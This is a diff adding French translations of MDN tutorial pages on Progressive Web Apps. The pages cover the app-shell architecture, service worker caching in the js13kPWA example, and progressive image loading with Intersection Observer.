+<p>Si l'utilisateur sélectionne <em>Installer</em> , l'application est installée (disponible en tant qu'application de bureau autonome) et le bouton Installer ne s'affiche plus (l'événement <code>onbeforeinstallprompt</code> ne se déclenche plus si l'application est déjà installée). Lorsque vous ouvrez l'application, celle-ci apparaît dans sa propre fenêtre:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16280/a2hs-installed-desktop.png" style="border-style: solid; border-width: 1px; display: block; height: 296px; margin: 0px auto; width: 500px;"></p>
+
+<p>Si l'utilisateur sélectionne <em>Annuler</em> , l'état de l'application revient à ce qu'il était avant le clic sur le bouton.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Le code de cette section provient principalement des bannières d'installation de l' application / Ajouter à l'écran d'accueil de Pete LaPage.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p> </p>
+
+<ul>
+ <li>Applications web progressives (PWA</li>
+ <li>Service Worker API</li>
+ <li>Référence du "manifest" Web</li>
+ <li>App install banners</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/progressive_web_apps/app_structure/index.html b/files/fr/web/progressive_web_apps/app_structure/index.html
new file mode 100644
index 0000000000..a4e0a26e08
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/app_structure/index.html
@@ -0,0 +1,276 @@
+---
+title: Structure d'une Progressive web app
+slug: Web/Progressive_web_apps/App_structure
+translation_of: Web/Progressive_web_apps/App_structure
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/Introduction", "Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">Maintenant que nous avons pris connaissances des principes théoriques sur lesquelles sont bâties les PWAs, penchons nous sur la structure recommandée d'une vraie application. Nous commencerons par analyser l'application <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> et par examiner pourquoi elle est construite de cette façon et quels bénéfices elle en retire.</p>
+
+<h2 id="Architecture_dune_application">Architecture d'une application</h2>
+
+<p>Il existe deux approches majeures distinctes pour générer un site web - côté serveur ou côté client. Les deux approches ont leurs avantages et leurs inconvénients et vous pouvez panacher jusqu'à un certain point les deux approches. </p>
+
+<ul>
+ <li>La génération côté serveur (Server-side rendering ou SSR) signifie qu'un site web est généré sur le serveur, si bien qu'il bénéficie d'un temps de chargement initial plus court mais la navigation d'une page à l'autre impose de télécharger à chaque foois un nouveau contenu HTML. Cela fonctionne parfaitement pour les navigateurs mais au prix d'un temps de navigation accru pour passer d'une page à l'autre, et donc diminue la performance générale perçue - charger une page nécessite un nouvel allerr-retour avec le serveur.</li>
+ <li>La génération côté client (Client-side rendering ou CSR) permet au site web d'être mis à jour presque instantanément en navigant sur des pages différentes mais nécessite au début un téléchargement intial plus important et un travail de rendu supplémentaires côté client. Le site web est plus lent lors d'une première visite mais peut être plus rapide ensuite quand on y navigue.</li>
+</ul>
+
+<p>Mélanger SSR et CSR peut permettre d'obtenir de meilleurs résultats - vous pouvez générer un site web côté serveur, mettre en cache son contenu puis mettre à jour le rendu côté client si et quand c'est nécessaire. Le chargement de la première page est rapide grâce au SSR et la navigation entre les pages est fluide car le client peut regénérer la page en ne modifiant que les parties qui ont changé.</p>
+
+<p>Les PWAs peuvent être construite en utilisant l'approche que vous préférez, mais certaines fonctionneront mieux que les autres. L'approche la plus populaire est celle utilisant le concept d' "app shell"; qui mélange SSR et CSR exactement comme cela a été décrit plus haut et se conforme de surcroit à la méthodologie "déconnectée d'abord" ("offline first") que nous expliquerons en détails dans de prochains articles et que nous utiliserons dans notre application exemple. Il existe également une nouvelle approche utilisant l'<a href="/en-US/docs/Web/API/Streams_API">API Streams</a> et dont nous parlerons brièvement.</p>
+
+<h2 id="App_shell">App shell</h2>
+
+<p>Le concept d'App shell s'occupe de charger une interface utilisateur minimale dès que possible puis de la mettre en cache de façon à ce qu'elle soit disponible en mode déconnecté lors des visites suivantes, avant de charger tout le contenu de l'application. De cette façon, la prochaine fois que quelqu'un visite l'application avec un appareil, l'interface utilisateur est chargée immédiatement depuis le cache puis les nouveaux contenus sont demandés au serveur (s'ils ne sont pas déjà disponibles dans le cache).</p>
+
+<p>Cette structure est rapide et est également ressentie comme telle par l'utilisateur car il voit "quelque chose" instantanément, plutôt qu'un indicateur de chargement en train de tourner ou une page blanche. Cela permet également au site web d'être accessible en mode déconnecté si une connexion réseau n'est pas disponible.</p>
+
+<p>Nous pouvons contrôler ce qui est demandé au serveur et ce qui est récupéré dans le cache grâce à un <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a> qui sera expliqué en détail dans le prochain article - pour le moment, concentrons-nous sur la structure en elle-même.</p>
+
+<h3 id="Pourquoi_dois-je_lutiliser">Pourquoi dois-je l'utiliser ?</h3>
+
+<p>Cette architecture permet à un site web de bénéficier de la plupart des fonctionnalités PWA - elle met en cache l'app shell et gère le contenu dynamique d'une manière qui améliore grandement les performances. En plus de la structure de base, vous pouvez ajouter d'autres fonctionnalités telles que <a href="/en-US/docs/Web/Apps/Progressive/Add_to_home_screen">l'ajouter à l'écran d'accueil</a> ou <a href="/en-US/docs/Web/API/Push_API">l'envoi de notifications</a>, sachant que l'application fonctionnera toujours correctement si elles ne sont pas prises en charge par le navigateur de l'utilisateur - c'est la beauté de l'amélioration continue.</p>
+
+<p>Le site web se comporte comme une application native, offrant une interaction instantannée et de solides performances tout en conservant les avantages du web.</p>
+
+<h3 id="Être_accessible_par_un_lien_progressive_et_de_conception_adaptative">Être accessible par un lien, progressive et de conception adaptative</h3>
+
+<p>Il est important de se rappeler les avantages des PWA et de les garder à l'esprit lorsqu'on conçoit l'application. L'approche app shell permet aux sites web d'être :</p>
+
+<ul>
+ <li>Accessible par un lien: Même s'il se comporte comme une application native, il reste un site web - vous pouvez cliquer sur les liens d'une page et envoyer une URL à quelqu'un si vous voulez le partager.</li>
+ <li>Progressive: Commencer avec un "bon vieux site web basic” et ajouter progressivement de nouvelles fonctionnalités tout en se rappelant de détecter si elles sont disponibles dans le navigateur et de gérer proprement toute erreur qui pourrait survenir si la prise en charge n'est pas disponible. Par exemple, un mode déconnecté possible grâce aux service workers n'est qu'une caractéristique bonus qui améliore l'expérience sur le site web, mais ce dernier reste totalement fonctionnel sans elle.</li>
+ <li>Adaptatif: La conception web adaptative s'applique également aux applications web progressives, attendu que les deux sont principalement destinés aux appareils mobiles. Il y a tellements d'appareils différents en plus des navigateurs - il est important de préparer votre site web à fonctionner sur différentes tailles d'écran, supports d'affichage ou densité de pixels, en utilisant des technologies telles que  <a href="/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">les tags meta viewport</a>, <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">les reqêtes media CSS</a>, <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">les Flexbox</a> et les <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">Grid CSS</a>.</li>
+</ul>
+
+<h2 id="Approche_différente_les_streams">Approche différente : les streams</h2>
+
+<p>Une approche totalement différente du rendu côté serveur - ou client - peut être obtenue à l'aide de l'<a href="/en-US/docs/Web/API/Streams_API">API Streams</a>. Avec un peu d'aide des service workers, les streams peuvent grandement améliorer la façon dont nous analysons le contenu.</p>
+
+<p>Le modèle app shell nécessite que toutes les ressources soient disponibles avant que le site puisse commencer à être rendu. C'est différent avec HTML pour lequel le navigateur diffuse immédiatement les données si bien que vous pouvez voir quand les éléments sont chargés et et rendus sur le site web. Pour que le JavaScript soit "opérationnel", cependant, il faut attendre qu'il ait été entièrement téléchargé au préalable.</p>
+
+<p>L'API Streams permet aux développeurs d'avoir un accès direct au flux de données provenant du serveur - si vous voulez exécuter une opération sur les données (par exemple ajouter un filtre à une vidéo), vous n'avez plus besoin d'attendre que tout soit téléchargé et converti en un blob (ou autre) - vous pouvez commencer immédiatement. Cela permet un contrôle fin - le flux peut être démarré, chaîné avec un autre flux, annulé, ses erreurs contrôlées, et plus.</p>
+
+<p>En théorie, le flux est un meilleur modèle, mais il est également plus complexe et au moment de la rédaction (mars 2018), l'API Stream est toujours un travail en cours et pas encore totalement disponible pour l'ensemble des navigateurs principaux. Quand elle sera disponible, elle sera le moyen le plus rapide de servir le contenu - les bénéfices sont sur le point d'être énormes en terme de performance.</p>
+
+<p>Pour voir des exemples fonctionnels et disposer de davantage d'information, voir <a href="/en-US/docs/Web/API/Streams_API">la documention de l'API Streams</a>.</p>
+
+<h2 id="Structure_de_notre_application_exemple">Structure de notre application exemple</h2>
+
+<p>La structure du site web <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> est plutôt simple: elle consiste en un simple fichier HTML (<a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa/index.html">index.html</a>) avec un style CSS basique (<a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa/style.css">style.css</a>) et quelques images, scripts et polices de caractères. La structure du répertoire ressemble à ceci:</p>
+
+<p><img alt="Folder structure of js13kPWA." src="https://mdn.mozillademos.org/files/15925/js13kpwa-directory.png" style="border-style: solid; border-width: 1px; display: block; height: 356px; margin: 0px auto; width: 320px;"></p>
+
+<h3 id="Le_HTML">Le HTML</h3>
+
+<p>Du point de vue HTML, l'app shell est tout ce qui est à l'extérieur de la section content:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+	&lt;meta charset="utf-8"&gt;
+	&lt;title&gt;js13kGames A-Frame entries&lt;/title&gt;
+	&lt;meta name="description" content="A list of A-Frame entries submitted to the js13kGames 2017 competition, used as an example for the MDN articles about Progressive Web Apps."&gt;
+	&lt;meta name="author" content="end3r"&gt;
+	&lt;meta name="theme-color" content="#B12A34"&gt;
+	&lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;
+	&lt;meta property="og:image" content="icons/icon-512.png"&gt;
+	&lt;link rel="shortcut icon" href="favicon.ico"&gt;
+	&lt;link rel="stylesheet" href="style.css"&gt;
+	&lt;link rel="manifest" href="js13kpwa.webmanifest"&gt;
+	&lt;script src="data/games.js" defer&gt;&lt;/script&gt;
+	&lt;script src="app.js" defer&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;header&gt;
+	&lt;p&gt;&lt;a class="logo" href="http://js13kgames.com"&gt;&lt;img src="img/js13kgames.png" alt="js13kGames"&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;/header&gt;
+&lt;main&gt;
+	&lt;h1&gt;js13kGames A-Frame entries&lt;/h1&gt;
+	&lt;p class="description"&gt;List of games submitted to the &lt;a href="http://js13kgames.com/aframe"&gt;A-Frame category&lt;/a&gt; in the &lt;a href="http://2017.js13kgames.com"&gt;js13kGames 2017&lt;/a&gt; competition. You can &lt;a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa"&gt;fork js13kPWA on GitHub&lt;/a&gt; to check its source code.&lt;/p&gt;
+	&lt;button id="notifications"&gt;Request dummy notifications&lt;/button&gt;
+	&lt;section id="content"&gt;
+		// Le contenu est inséré ici
+	&lt;/section&gt;
+&lt;/main&gt;
+&lt;footer&gt;
+	&lt;p&gt;© js13kGames 2012-2018, created and maintained by &lt;a href="http://end3r.com"&gt;Andrzej Mazur&lt;/a&gt; from &lt;a href="http://enclavegames.com"&gt;Enclave Games&lt;/a&gt;.&lt;/p&gt;
+&lt;/footer&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>La section {{htmlelement("head")}} contient certaines informations de base telles que le titre, la description et des liens vers les CSS, le manifeste web, le fichier JS contenant les jeux et  app.js — c'est là où notre application JavaScript est initialisée. Le {{htmlelement("body")}} est divisé en {{htmlelement("header")}} (contenant les images liées), {{htmlelement("main")}} la page (avec le titre, la description et un emplacement pour le contenu) et  {{htmlelement("footer")}} (le copyright et les liens).</p>
+
+<p>Le seul travail de l'application est de lister toutes les entrées A-Frame de la compétition js13kGames 2017. Comme vous pouvez le voir, c'est un site web en une page tout ce qu'il y a de plus ordinaire - le but est d'avoir quelque chose de simple afin que nous puissions nous concentrer sur l'implémentation des réelles fonctionnalités PWA.</p>
+
+<h3 id="Le_CSS">Le CSS</h3>
+
+<p>Le CSS est également aussi linéaire que possible: il utilise {{cssxref("@font-face")}} pour charger et utiliser une police de caractères personnalisée et il applique quelques mises en forme simples des éléments HTML. L'approche globale est d'avoir une conception qui soit belle à la fois sur les mobiles (avec une approche de conception adaptative) et sur les ordinateurs de bureau.</p>
+
+<h3 id="Le_fichier_JavaScript_principal">Le fichier JavaScript principal</h3>
+
+<p>Le fichier app.js file exécute plusieurs choses que nous regarderons de plus près dans les prochains articles. Avant tout, il génère le contenu à l'aide de ce template:</p>
+
+<pre class="brush: js notranslate">var template = "&lt;article&gt;\n\
+    &lt;img src='data/img/SLUG.jpg' alt='NAME'&gt;\n\
+    &lt;h3&gt;#POS. NAME&lt;/h3&gt;\n\
+    &lt;ul&gt;\n\
+    &lt;li&gt;&lt;span&gt;Author:&lt;/span&gt; &lt;strong&gt;AUTHOR&lt;/strong&gt;&lt;/li&gt;\n\
+    &lt;li&gt;&lt;span&gt;Twitter:&lt;/span&gt; &lt;a href='https://twitter.com/TWITTER'&gt;@TWITTER&lt;/a&gt;&lt;/li&gt;\n\
+    &lt;li&gt;&lt;span&gt;Website:&lt;/span&gt; &lt;a href='http://WEBSITE/'&gt;WEBSITE&lt;/a&gt;&lt;/li&gt;\n\
+    &lt;li&gt;&lt;span&gt;GitHub:&lt;/span&gt; &lt;a href='https://GITHUB'&gt;GITHUB&lt;/a&gt;&lt;/li&gt;\n\
+    &lt;li&gt;&lt;span&gt;More:&lt;/span&gt; &lt;a href='http://js13kgames.com/entries/SLUG'&gt;js13kgames.com/entries/SLUG&lt;/a&gt;&lt;/li&gt;\n\
+    &lt;/ul&gt;\n\
+&lt;/article&gt;";
+var content = '';
+for(var i=0; i&lt;games.length; i++) {
+    var entry = template.replace(/POS/g,(i+1))
+        .replace(/SLUG/g,games[i].slug)
+        .replace(/NAME/g,games[i].name)
+        .replace(/AUTHOR/g,games[i].author)
+        .replace(/TWITTER/g,games[i].twitter)
+        .replace(/WEBSITE/g,games[i].website)
+        .replace(/GITHUB/g,games[i].github);
+    entry = entry.replace('&lt;a href=\'http:///\'&gt;&lt;/a&gt;','-');
+    content += entry;
+};
+document.getElementById('content').innerHTML = content;</pre>
+
+<p>Ensuite, il enregistre un service worker:</p>
+
+<pre class="brush: js notranslate">if('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('/pwa-examples/js13kpwa/sw.js');
+};</pre>
+
+<p>Le bloc de code suivant demande la permission d'émettre des notifications quand un bouton est cliqué:</p>
+
+<pre class="brush: js notranslate">var button = document.getElementById("notifications");
+button.addEventListener('click', function(e) {
+    Notification.requestPermission().then(function(result) {
+        if(result === 'granted') {
+            randomNotification();
+        }
+    });
+});</pre>
+
+<p>Le dernier bloc crée des notifications qui affichent  un élément choisi au hasard dans la liste des jeux:</p>
+
+<pre class="brush: js notranslate">function randomNotification() {
+    var randomItem = Math.floor(Math.random()*games.length);
+    var notifTitle = games[randomItem].name;
+    var notifBody = 'Created by '+games[randomItem].author+'.';
+    var notifImg = 'data/img/'+games[randomItem].slug+'.jpg';
+    var options = {
+        body: notifBody,
+        icon: notifImg
+    }
+    var notif = new Notification(notifTitle, options);
+    setTimeout(randomNotification, 30000);
+}</pre>
+
+<h3 id="Le_service_worker">Le service worker</h3>
+
+<p>Le dernier fichier que nous allons rapidement regarder est le service worker: sw.js — il importe d'abord les données du fichier games.js:</p>
+
+<pre class="brush: js notranslate">self.importScripts('data/games.js');</pre>
+
+<p>Ensuite, il crée une liste de tous les fichiers à mettre en cache, à la fois à partir de l'app shell et du contenu:</p>
+
+<pre class="brush: js notranslate">var cacheName = 'js13kPWA-v1';
+var appShellFiles = [
+  '/pwa-examples/js13kpwa/',
+  '/pwa-examples/js13kpwa/index.html',
+  '/pwa-examples/js13kpwa/app.js',
+  '/pwa-examples/js13kpwa/style.css',
+  '/pwa-examples/js13kpwa/fonts/graduate.eot',
+  '/pwa-examples/js13kpwa/fonts/graduate.ttf',
+  '/pwa-examples/js13kpwa/fonts/graduate.woff',
+  '/pwa-examples/js13kpwa/favicon.ico',
+  '/pwa-examples/js13kpwa/img/js13kgames.png',
+  '/pwa-examples/js13kpwa/img/bg.png',
+  '/pwa-examples/js13kpwa/icons/icon-32.png',
+  '/pwa-examples/js13kpwa/icons/icon-64.png',
+  '/pwa-examples/js13kpwa/icons/icon-96.png',
+  '/pwa-examples/js13kpwa/icons/icon-128.png',
+  '/pwa-examples/js13kpwa/icons/icon-168.png',
+  '/pwa-examples/js13kpwa/icons/icon-192.png',
+  '/pwa-examples/js13kpwa/icons/icon-256.png',
+  '/pwa-examples/js13kpwa/icons/icon-512.png'
+];
+var gamesImages = [];
+for(var i=0; i&lt;games.length; i++) {
+  gamesImages.push('data/img/'+games[i].slug+'.jpg');
+}
+var contentToCache = appShellFiles.concat(gamesImages);</pre>
+
+<p>Le bloc suivant définit la phase d'initialisation de notre service worker lors de laquelle tous les fichiers contenus dans la liste précédente sont effectivement mis en cache:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', function(e) {
+  console.log('[Service Worker] Install');
+  e.waitUntil(
+    caches.open(cacheName).then(function(cache) {
+      console.log('[Service Worker] Caching all: app shell and content');
+      return cache.addAll(contentToCache);
+    })
+  );
+});</pre>
+
+<p>Finalement, nous définissons ici le gestionnaire de l'événement fetch du service worker afin qu'il récupère le contenu du cache s'il y est disponible, offrant un fonctionnement hors connexion:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', function(e) {
+  e.respondWith(
+    caches.match(e.request).then(function(r) {
+      console.log('[Service Worker] Fetching resource: '+e.request.url);
+      return r || fetch(e.request).then(function(response) {
+        return caches.open(cacheName).then(function(cache) {
+          console.log('[Service Worker] Caching new resource: '+e.request.url);
+          cache.put(e.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});</pre>
+
+<h3 id="Les_données_JavaScript">Les données JavaScript</h3>
+
+<p>Les données des jeux sont présentes dans le dossier data sous la forme d'un objet JavaScript (<a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa/data/games.js">games.js</a>):</p>
+
+<pre class="brush: js notranslate">var games = [
+    {
+        slug: 'lost-in-cyberspace',
+        name: 'Lost in Cyberspace',
+        author: 'Zosia and Bartek',
+        twitter: 'bartaz',
+        website: '',
+        github: 'github.com/bartaz/lost-in-cyberspace'
+    },
+    {
+        slug: 'vernissage',
+        name: 'Vernissage',
+        author: 'Platane',
+        twitter: 'platane_',
+        website: 'github.com/Platane',
+        github: 'github.com/Platane/js13k-2017'
+    },
+// ...
+    {
+        slug: 'emma-3d',
+        name: 'Emma-3D',
+        author: 'Prateek Roushan',
+        twitter: '',
+        website: '',
+        github: 'github.com/coderprateek/Emma-3D'
+    }
+];</pre>
+
+<p>Chaque entrée possède sa propre image dans le dossier data/img. Ceci est notre contenu chargé dans la section content via JavaScript.</p>
+
+<h2 id="A_suivre">A suivre</h2>
+
+<p>Dans le prochain article, nous regarderons plus en détail comment l'app shell et le contenu sont mis en cache pour une utilisation en mode déconnecté grâce au service worker.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/Introduction", "Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive")}}</p>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</p>
diff --git a/files/fr/web/progressive_web_apps/chargement/index.html b/files/fr/web/progressive_web_apps/chargement/index.html
new file mode 100644
index 0000000000..72ce203f4f
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/chargement/index.html
@@ -0,0 +1,151 @@
+---
+title: Chargement progressif
+slug: Web/Progressive_web_apps/Chargement
+tags:
+  - Chargement
+translation_of: Web/Progressive_web_apps/Loading
+---
+<div>{{PreviousMenu("Web/Progressive_web_apps/Re-engageable_Notifications_Push", "Web/Progressive_web_apps")}}</div>
+
+<p class="summary">Dans les articles précédents, nous avons abordé les APIs qui nous aident à faire de notre exemple <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> une Progressive Web App: <a href="en-US/docs/Web/Progressive_web_apps/Offline_Service_workers">Service Workers</a>, <a href="/en-US/docs/Web/Progressive_web_apps/Installable_PWAs">Manifestes Web</a>, <a href="/en-US/docs/Web/Progressive_web_apps/Re-engageable_Notifications_Push">Notifications et Push</a>. Dans cet article, nous irons encore plus loin et améliorerons la performance de l'application en téléchargeant progessivement ses ressources.</p>
+
+<h2 id="Première_visualisation_signifiante">Première visualisation signifiante</h2>
+
+<p>Il est important de fournir quelque chose qui ait du sens pour l'utilisateur dès que possible  — plus il attend que la page se charge, plus il y a de chances qu'il s'en aille plutôt que d'attendre que tout soit fini. Nous devrions être capable de lui montrer au moins une vue basique de la page qu'il veut voir avec des emplacements où du contenu supplémentaire sera chargé à un moment donné.</p>
+
+<p>Ceci peut être réalisé grâce au chargement progressif — également appelé <a href="https://en.wikipedia.org/wiki/Lazy_loading">Lazy loading</a>. Tout ceci consiste en retardant autant que possible le plus de ressources que possible (HTML, CSS, JavaScript), et ne charger immédiatement que celles qui sont réellement nécessaire pour la toute première expérience.</p>
+
+<h2 id="Mise_en_paquet_versus_éclatement">Mise en paquet versus éclatement</h2>
+
+<p>De nombreux visiteurs ne naviguerons pas sur la totalité des pages d'un site web bien que l'approche habituelle consiste à mettre dans un paquet toutes les fonctionnalités que nous avons dans un seul gros fichier. Un fichier <code>bundle.js</code> peut peser plusieurs megaoctets et un unique paquet <code>style.css</code> peut tout contenir, depuis les définitions de base des structures CSS à tous les styles possibles de toutes les versions d'un site: mobile, tablette, ordinateur de bureau, pour l'impression, etc.</p>
+
+<p>Il est plus rapide de télécharger toutes les informations sous la forme d'un unique fichier plutôt que beaucoup de petits, mais si l'utilisateur n'a pas besoin de tout au tout début, nous pourrions ne télécharger que ce qui est crucial puis gérer les autres ressources quand elles sont nécessaires.</p>
+
+<h2 id="Render-blocking_resources">Render-blocking resources</h2>
+
+<p>Créer des paquets est un problème car le navigateur doit charger le HTML, le CSS et le JavaScript avant qu'il ne puisse afficher le rendu du résultat à l'écran. Pendant les quelques secondes séparant l'accès l'initial au site web et la fin du téléchargement, l'utilisateur voit une page blanche ce qui est une mauvaise expérience.</p>
+
+<p>Pour corriger ça, nous pouvons, par exemple, ajouter <code>defer</code> aux fichiers JavaScript:</p>
+
+<pre class="brush: html">&lt;script src="app.js" defer&gt;&lt;/script&gt;
+</pre>
+
+<p>Ils seront téléchargés et exécutés <em>après</em> que le document lui-même a été analys"si bien qu'il ne bloquera pas le rendu de la structure HTML. Nous pouvons également éclater les fichiers css et leur ajouter des types de media:</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" href="style.css"&gt;
+&lt;link rel="stylesheet" href="print.css" media="print"&gt;
+</pre>
+
+<p>Ceci indiquera le navigateur de ne les télécharger que si la condition est remplie.</p>
+
+<p>Dans notre application de démonstration js13kPWA, le CSS est suffisamment simple pour tout laisser dans un seul fichier sans règle spécifique sur la façon de les charger. Nous pourrions même aller plus loin et déplacer tout ce qui se trouve dans <code>style.css</code> dans la balise <code>&lt;style&gt;</code> dans le <code>&lt;head&gt;</code> de <code>index.html</code> — ceci améliorerait encore plus la performance mais pour la lisibilité de l'exemple, nous nous passerons aussi de cette approche.</p>
+
+<h2 id="Images">Images</h2>
+
+<p>En plus du JavaScript et du CSS, les sites web contiendront certainement un certain nombre d'images. Quand vous incluez des éléments {{htmlelement("img")}} dans votre HTML, chaque image référencée est alors recherchée et téléchargée lors de l'accès initial au site web. Il n'est pas inhabituel d'avoir des mégaoctets de données d'images à télécharger avant d'annoncer que le site est prêt, mais ceci, une nouvelle fois, crée une mauvaise perception de performance. Nous n'avons pas besoin de toutes les images dans la meilleure qualité possible au tout début de la consultation du site.</p>
+
+<p>Ceci peut être optimisé. Tout d'abord, vous devriez utiliser des outils ou des services tels que <a href="https://tinypng.com/">TinyPNG</a> qui réduit la taille de fichier de vos images sans trop en altérer la qualité. Si vous avez dépassé ce stade, vous pouvez alors commencer à penser à optimiser le chargement des images en utilisant JavaScript. Nous expliquerons cela plus loin.</p>
+
+<h3 id="Image_conteneur">Image conteneur</h3>
+
+<p>Plutôt que d'avoir toutes les captures d'écran des jeux référencés dans les attributs <code>src</code> des éléments <code>&lt;img&gt;</code>, ce qui forcera le navigateur à les télécharger automatiquement, nous pouvons le faire de manière sélective via JavaScript. L'application js13kPWA utilise à la place une image conteneur qui est petite et légère tandis que les chemins d'accès définitifs vers les images cibles sont stockées dans les attributs <code>data-src</code>:</p>
+
+<pre class="brush: html">&lt;img src='data/img/placeholder.png' data-src='data/img/SLUG.jpg' alt='NAME'&gt;
+</pre>
+
+<p>Ces images seront téléchargées via JavaScript <em>après</em> que le site aura fini de construire la structure HTML. L'image conteneur est dimensionnée de la même façon que les images originales le sont, si bien qu'elle occupera le même espace et n'obligera pas le navigateur à redessiner l'agencement quand les images sont téléchargées.</p>
+
+<h3 id="Chargement_via_JavaScript">Chargement via JavaScript</h3>
+
+<p>Le fichier <code>app.js</code> traite les attributs <code>data-src</code> comme ceci:</p>
+
+<pre class="brush: js">let imagesToLoad = document.querySelectorAll('img[data-src]');
+const loadImages = (image) =&gt; {
+  image.setAttribute('src', image.getAttribute('data-src'));
+  image.onload = () =&gt; {
+    image.removeAttribute('data-src');
+  };
+};</pre>
+
+<p>La variable <code>imagesToLoad</code> contient des références à toutes les images, tandis que la fonction <code>loadImages</code> déplace le chemin d'accès de <code>data-src</code> à <code>src</code>. Quand toutes les images sont effectivement téléchargées, nous supprimons leur attribut <code>data-src</code> attendu qu'ls ne sont désormais plus nécessaires. Ensuite, nous bouclons sur chacune des images et nous la chargeons:</p>
+
+<pre class="brush: js">imagesToLoad.forEach((img) =&gt; {
+  loadImages(img);
+});</pre>
+
+<h3 id="Flou_en_CSS">Flou en CSS</h3>
+
+<p>Pour rendre le processus visuellement plus attractif, le conteneur est flouté via CSS.</p>
+
+<p><img alt="Screenshot of placeholder images in the js13kPWA app." src="https://mdn.mozillademos.org/files/15992/js13kpwa-placeholders.png" style="height: 684px; width: 675px;"></p>
+
+<p>Nous générons les images avec un flou au début si bien qu'une transition vers la version précise peut être réalkisée:</p>
+
+<pre class="brush: css">article img[data-src] {
+  filter: blur(0.2em);
+}
+
+article img {
+  filter: blur(0em);
+  transition: filter 0.5s;
+}</pre>
+
+<p>Ceci supprimera l'effet de flou en une demie seconde, ce qui paraît assez bien pour l'effet de "chargement".</p>
+
+<h2 id="Chargement_à_la_demande">Chargement à la demande</h2>
+
+<p>Le mécanisme de chargement des images présenté dans la section précédente fonctionne correctement — il charge les imges après que la structure HTML a été générée et applique un joli effet de transition au processus. Le problème est qu'il télécharge toujours<em> toutes</em> les images en une fois, même si l'utilisateur ne verra que les deux ou trois premières au chargement de la page.</p>
+
+<p>Ce problème peut être résolu avec la nouvelle <a href="/en-US/docs/Web/API/Intersection_Observer_API">API Intersection Observer</a> — en l'utilisant, nous pouvons nous assurer que les images ne seront téléchargées que lorsqu'elles apparaissent dans le viewport.</p>
+
+<h3 id="Intersection_Observer">Intersection Observer</h3>
+
+<p>Ceci est une amélioration progressive à l'exemple fonctionnel précédent — <a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer</a> téléchargera les images cibles seulement quand l'utilisateur fait défiler la page vers le bas, provoquant leur affichage dans le viewport.</p>
+
+<p>Voici à quoi le code correspondant ressemble:</p>
+
+<pre class="brush: js">if('IntersectionObserver' in window) {
+  const observer = new IntersectionObserver((items, observer) =&gt; {
+    items.forEach((item) =&gt; {
+      if(item.isIntersecting) {
+        loadImages(item.target);
+        observer.unobserve(item.target);
+      }
+    });
+  });
+  imagesToLoad.forEach((img) =&gt; {
+    observer.observe(img);
+  });
+} else {
+  imagesToLoad.forEach((img) =&gt; {
+    loadImages(img);
+  });
+}</pre>
+
+<p>Si l'objet {{domxref("IntersectionObserver")}} est pris en charge, l'application en crée une nouvelle instance. La fonction passée en paramètre gère le cas où un ou plusieurs objets ont une intersection avec l'observer (i.e. apparaît à l'intérieur du viewport). Nous pouvons itérer sur chaque cas et réagir en conséquence — quand l'image est visible, nous chargeons l'image correcte et nous arrêtons de l'observer vu que nous n'avons désormais plus le faire.</p>
+
+<p>Répétons notre avertissement précédent concernant l'amélioration progressive — le code est écrit de telle sorte que l'application fonctionnera que l'Intersection Observer soit pris en charge ou pas. S'il ne l'est pas, nous chargeons simplement les images en utilisant une approche plus basique présentée précédemment.</p>
+
+<h2 id="Améliorations">Améliorations</h2>
+
+<p>Rappelez-vous qu'il y a de nombreuses façons d'optimiser les temps de chargement et cet exemple explore seulement l'une d'elles. Vous pourriez essayer de blinder davantage votre application en lui permettant de fonctionner sans JavaScript — soit en utilisant {{htmlelement("noscript")}} pour afficher l'image avec le <code>src</code> final déjà renseigné ou en enrobant les balises <code>&lt;img&gt;</code> avec des éléments {{htmlelement("a")}} pointant vers les images cibles de telle sorte que l'utilisateur puisse cliquer pour y accéder quand il le souhaite.</p>
+
+<p>Nous ne le ferons pas car l'application elle-même dépend de JavaScript — sans lui, la liste des jeux ne sera même pas chargée et le code du Service Worker ne s'exécutera pas.</p>
+
+<p>Nous pourrions réécrire le processus de chargement  pour charger non seulement les images mais aussi les éléments complets composés des descriptions complètes et des liens. Cela fonctionnerait comme un défilement infini — charger les éléments de la liste seulement quand l'utilisateur fait défiler la page vers le bas. De cette façon, la structure HTML initiale sera minimale, le temps de chargement encore plus court et nous aurions des bénéfices de performance encore meilleurs.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
